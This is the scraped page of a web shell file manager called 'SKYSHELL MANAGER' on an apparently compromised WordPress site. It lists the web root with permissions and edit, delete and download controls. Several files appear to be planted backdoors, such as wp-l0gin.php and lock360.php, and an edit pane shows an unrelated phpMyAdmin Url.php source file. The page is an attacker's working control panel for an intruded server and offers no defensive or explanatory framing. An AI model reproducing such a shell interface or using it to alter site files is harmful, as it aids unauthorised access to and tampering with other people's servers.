📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: Url.php
<?php /** * Static methods for URL/hidden inputs generating */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Crypto\Crypto; use function base64_decode; use function base64_encode; use function htmlspecialchars; use function http_build_query; use function in_array; use function ini_get; use function is_array; use function is_string; use function json_encode; use function method_exists; use function str_contains; use function strlen; use function strtr; /** * Static methods for URL/hidden inputs generating */ class Url { /** @var string|null */ private static $inputArgSeparator = null; /** * Generates text with hidden inputs. * * @see Url::getCommon() * * @param string|array $db optional database name * (can also be an array of parameters) * @param string $table optional table name * @param int $indent indenting level * @param string|array $skip do not generate a hidden field for this parameter * (can be an array of strings) * * @return string string with input fields */ public static function getHiddenInputs( $db = '', $table = '', $indent = 0, $skip = [] ) { global $config; if (is_array($db)) { $params =& $db; } else { $params = []; if (strlen((string) $db) > 0) { $params['db'] = $db; } if (strlen((string) $table) > 0) { $params['table'] = $table; } } if (! empty($GLOBALS['server']) && $GLOBALS['server'] != $GLOBALS['cfg']['ServerDefault']) { $params['server'] = $GLOBALS['server']; } if (empty($config->getCookie('pma_lang')) && ! empty($GLOBALS['lang'])) { $params['lang'] = $GLOBALS['lang']; } if (! is_array($skip)) { if (isset($params[$skip])) { unset($params[$skip]); } } else { foreach ($skip as $skipping) { if (! isset($params[$skipping])) { continue; } unset($params[$skipping]); } } return self::getHiddenFields($params); } /** * create hidden form fields from array with name => value * * <code> * $values = array( * 'aaa' => aaa, * 'bbb' => array( * 'bbb_0', * 'bbb_1', * ), * 'ccc' => array( * 'a' => 'ccc_a', * 'b' => 'ccc_b', * ), * ); * echo Url::getHiddenFields($values); * * // produces: * <input type="hidden" name="aaa" Value="aaa"> * <input type="hidden" name="bbb[0]" Value="bbb_0"> * <input type="hidden" name="bbb[1]" Value="bbb_1"> * <input type="hidden" name="ccc[a]" Value="ccc_a"> * <input type="hidden" name="ccc[b]" Value="ccc_b"> * </code> * * @param array $values hidden values * @param string $pre prefix * @param bool $is_token if token already added in hidden input field * * @return string form fields of type hidden */ public static function getHiddenFields(array $values, $pre = '', $is_token = false) { $fields = ''; /* Always include token in plain forms */ if ($is_token === false && isset($_SESSION[' PMA_token '])) { $values['token'] = $_SESSION[' PMA_token ']; } foreach ($values as $name => $value) { if (! empty($pre)) { $name = $pre . '[' . $name . ']'; } if (is_array($value)) { $fields .= self::getHiddenFields($value, $name, true); } else { // do not generate an ending "\n" because // Url::getHiddenInputs() is sometimes called // from a JS document.write() $fields .= '<input type="hidden" name="' . htmlspecialchars((string) $name) . '" value="' . htmlspecialchars((string) $value) . '">'; } } return $fields; } /** * Generates text with URL parameters. * * <code> * $params['myparam'] = 'myvalue'; * $params['db'] = 'mysql'; * $params['table'] = 'rights'; * // note the missing ? * echo 'script.php' . Url::getCommon($params); * // produces with cookies enabled: * // script.php?myparam=myvalue&db=mysql&table=rights * // with cookies disabled: * // script.php?server=1&lang=en&myparam=myvalue&db=mysql * // &table=rights * * // note the missing ? * echo 'script.php' . Url::getCommon(); * // produces with cookies enabled: * // script.php * // with cookies disabled: * // script.php?server=1&lang=en * </code> * * @param array<string,int|string|bool> $params optional, Contains an associative array with url params * @param string $divider optional character to use instead of '?' * @param bool $encrypt whether to encrypt URL params * * @return string string with URL parameters */ public static function getCommon(array $params = [], $divider = '?', $encrypt = true) { return self::getCommonRaw($params, $divider, $encrypt); } /** * Generates text with URL parameters. * * <code> * $params['myparam'] = 'myvalue'; * $params['db'] = 'mysql'; * $params['table'] = 'rights'; * // note the missing ? * echo 'script.php' . Url::getCommon($params); * // produces with cookies enabled: * // script.php?myparam=myvalue&db=mysql&table=rights * // with cookies disabled: * // script.php?server=1&lang=en&myparam=myvalue&db=mysql * // &table=rights * * // note the missing ? * echo 'script.php' . Url::getCommon(); * // produces with cookies enabled: * // script.php * // with cookies disabled: * // script.php?server=1&lang=en * </code> * * @param array<string|int,int|string|bool> $params optional, Contains an associative array with url params * @param string $divider optional character to use instead of '?' * @param bool $encrypt whether to encrypt URL params * * @return string string with URL parameters */ public static function getCommonRaw(array $params = [], $divider = '?', $encrypt = true) { global $config; // avoid overwriting when creating navigation panel links to servers if ( isset($GLOBALS['server']) && $GLOBALS['server'] != $GLOBALS['cfg']['ServerDefault'] && ! isset($params['server']) && ! $config->get('is_setup') ) { $params['server'] = $GLOBALS['server']; } // Can be null when the user is missing an extension. if ($config !== null && empty($config->getCookie('pma_lang')) && ! empty($GLOBALS['lang'])) { $params['lang'] = $GLOBALS['lang']; } $query = self::buildHttpQuery($params, $encrypt); if (($divider !== '?' && $divider !== self::getArgSeparator()) || strlen($query) > 0) { return $divider . $query; } return ''; } /** * @param array<int|string, mixed> $params * @param bool $encrypt whether to encrypt URL params * * @return string */ public static function buildHttpQuery($params, $encrypt = true) { global $config; $separator = self::getArgSeparator(); if (! $encrypt || $config === null || ! $config->get('URLQueryEncryption')) { return http_build_query($params, '', $separator); } $data = $params; $keys = [ 'db', 'table', 'field', 'sql_query', 'sql_signature', 'where_clause', 'goto', 'back', 'message_to_show', 'username', 'hostname', 'dbname', 'tablename', 'checkprivsdb', 'checkprivstable', ]; $paramsToEncrypt = []; foreach ($params as $paramKey => $paramValue) { if (! in_array($paramKey, $keys)) { continue; } $paramsToEncrypt[$paramKey] = $paramValue; unset($data[$paramKey]); } if ($paramsToEncrypt !== []) { $data['eq'] = self::encryptQuery((string) json_encode($paramsToEncrypt)); } return http_build_query($data, '', $separator); } public static function encryptQuery(string $query): string { $crypto = new Crypto(); return strtr(base64_encode($crypto->encrypt($query)), '+/', '-_'); } public static function decryptQuery(string $query): ?string { $crypto = new Crypto(); return $crypto->decrypt(base64_decode(strtr($query, '-_', '+/'))); } /** * Returns url separator character used for separating url parts. * * Extracted from 'arg_separator.input' as set in php.ini, but prefers '&' and ';'. * * @see https://www.php.net/manual/en/ini.core.php#ini.arg-separator.input * @see https://www.w3.org/TR/1999/REC-html401-19991224/appendix/notes.html#h-B.2.2 */ public static function getArgSeparator(): string { if (is_string(self::$inputArgSeparator)) { return self::$inputArgSeparator; } $separator = self::getArgSeparatorValueFromIni(); if (! is_string($separator) || $separator === '' || str_contains($separator, '&')) { return self::$inputArgSeparator = '&'; } if (str_contains($separator, ';')) { return self::$inputArgSeparator = ';'; } // uses first character return self::$inputArgSeparator = $separator[0]; } /** @return string|false */ private static function getArgSeparatorValueFromIni() { /** @psalm-suppress ArgumentTypeCoercion */ if (method_exists('PhpMyAdmin\Tests\UrlTest', 'getInputArgSeparator')) { // phpcs:ignore SlevomatCodingStandard.Namespaces.ReferenceUsedNamesOnly.ReferenceViaFullyQualifiedName return \PhpMyAdmin\Tests\UrlTest::getInputArgSeparator(); } return ini_get('arg_separator.input'); } /** * @param string $route Route to use * @param array $additionalParameters Additional URL parameters */ public static function getFromRoute(string $route, array $additionalParameters = [], bool $encrypt = true): string { return 'index.php?route=' . $route . self::getCommon($additionalParameters, self::getArgSeparator(), $encrypt); } }
Save